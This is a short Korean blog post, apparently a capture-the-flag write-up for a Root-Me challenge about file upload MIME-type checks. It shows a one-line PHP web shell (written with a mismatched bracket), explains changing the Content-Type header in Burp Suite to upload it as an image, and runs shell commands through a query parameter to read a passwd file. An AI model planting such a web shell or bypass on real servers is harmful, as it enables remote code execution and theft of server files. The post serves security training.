-
File upload - MIME typeHacking/CTF 문제 풀이 2025. 7. 8. 11:08728x90반응형
Working through problems
파일 업로드 취약점을 이용한 원격 코드 실행(RCE)후 서버 내부 파일을 열람하는 문제입니다.
특히 MIME 타입 검사 우회를 통해 악성 스크립트가 서버에 업로드되어 실행되는 점이 핵심입니다.
파일 업로드 폼은 아래와 같이 구성되어 있습니다.
<form method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="upload"> </form>
- 문제에서는 PNG, GIF, JPEG 확장자만 허용됩니다.
- .php 등의 스크립트 파일은 기본적으로 업로드가 불가능합니다.
원격 명령 실행이 가능한 PHP 웹쉘 test.php를 준비합니다.
- 이 파일을 정상적으로 서버에 업로드하는 것이 목표입니다.
<?php system($_GET['cmd')); ?>
test.php 파일을 직접 업로드하면 "Wrong file type !" 등의 메시지가 출력되며 차단되는걸로 봐서 확장자 검사 또는 MIME 타입 검사 등이 서버에서 동작한다는걸 알 수 있습니다.
업로드 요청을 브라우저에서 보내는 대신 Burp Suite Proxy로 가로채서 조작합니다.
- Content-Type 헤더 값을 원래 text/php에서 image/png로 변경합니다.
서버는 파일을 이미지로 인식하여 업로드를 허용합니다.
업로드된 경로에 접근해 test.php 파일을 실행해 봅니다.
- 쿼리 파라미터 필수
<http://challenge01.root-me.org/web-serveur/ch21/galerie/upload/>/test.php?cmd=ls -al
- 서버 명령어를 통해 숨겨진 passwd 파일을 읽으면 정답을 찾을 수 있습니다.
728x90반응형'Hacking > CTF 문제 풀이' 카테고리의 다른 글
CRLF (0) 2025.07.10 File upload - Double extensions (0) 2025.07.09 Nginx - Root Location Misconfiguration (0) 2025.07.07 Nginx - Alias Misconfiguration (0) 2025.07.07 Install files (0) 2025.07.07